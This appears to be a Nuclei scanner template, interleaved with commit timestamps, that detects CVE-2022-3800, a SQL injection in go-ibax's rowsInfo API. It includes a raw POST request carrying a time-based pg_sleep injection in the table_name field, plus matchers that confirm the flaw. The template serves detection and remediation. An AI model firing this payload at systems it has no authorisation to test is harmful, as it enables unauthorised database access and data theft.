2023-03-20 08:24:18 +00:00
id : CVE-2022-3800
2023-02-19 19:36:38 +00:00
info :
2023-03-28 20:05:06 +00:00
name : IBAX - SQL Injection
2023-02-19 19:36:38 +00:00
author : JC175
severity : high
description : |
2023-03-28 20:43:09 +00:00
IBAX go-ibax functionality is susceptible to SQL injection via the file /api/v2/open/rowsInfo. The manipulation of the argument table_name leads to SQL injection, and the attack may be launched remotely. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
2023-09-06 11:59:08 +00:00
remediation : |
To remediate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being used in SQL queries. Implement parameterized queries or use an ORM framework to prevent SQL injection attacks.
2023-02-19 19:36:38 +00:00
reference :
- https://github.com/IBAX-io/go-ibax/issues/2061
2023-03-20 08:24:18 +00:00
- https://vuldb.com/?id.212636
2023-03-28 20:05:06 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-3800
2024-06-07 10:04:29 +00:00
- https://github.com/ARPSyndicate/cvemon
2023-02-19 19:36:38 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
2023-04-12 10:55:48 +00:00
cve-id : CVE-2022-3800
2024-06-07 10:04:29 +00:00
cwe-id : CWE-707,CWE-89
epss-score : 0.03544
epss-percentile : 0.91587
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:ibax:go-ibax:-:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : ibax
product : go-ibax
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,ibax,go-ibax,sqli
2023-02-19 19:36:38 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-02-19 19:36:38 +00:00
- raw :
- |
2023-03-22 11:26:52 +00:00
@timeout : 15s
2023-03-20 08:24:18 +00:00
POST /api/v2/open/rowsInfo HTTP/1.1
2023-02-19 19:36:38 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-02-20 16:12:58 +00:00
2023-03-20 08:24:18 +00:00
order=1&table_name=pg_user"%3b+select+pg_sleep(6)%3b+--"&limit=1&page=1
2023-02-20 16:12:58 +00:00
2023-03-20 08:24:18 +00:00
matchers :
- type : dsl
dsl :
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "usesysid")'
condition : and
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100f40394bb2d5157797e74e215fee8236341d3cd73a8b95288eecd312768bf4a5902204f25f965b047e977efe727743133b2934828785b08804aee6eccf4c0acb61376:922c64590222798bb761d5b6d8e72950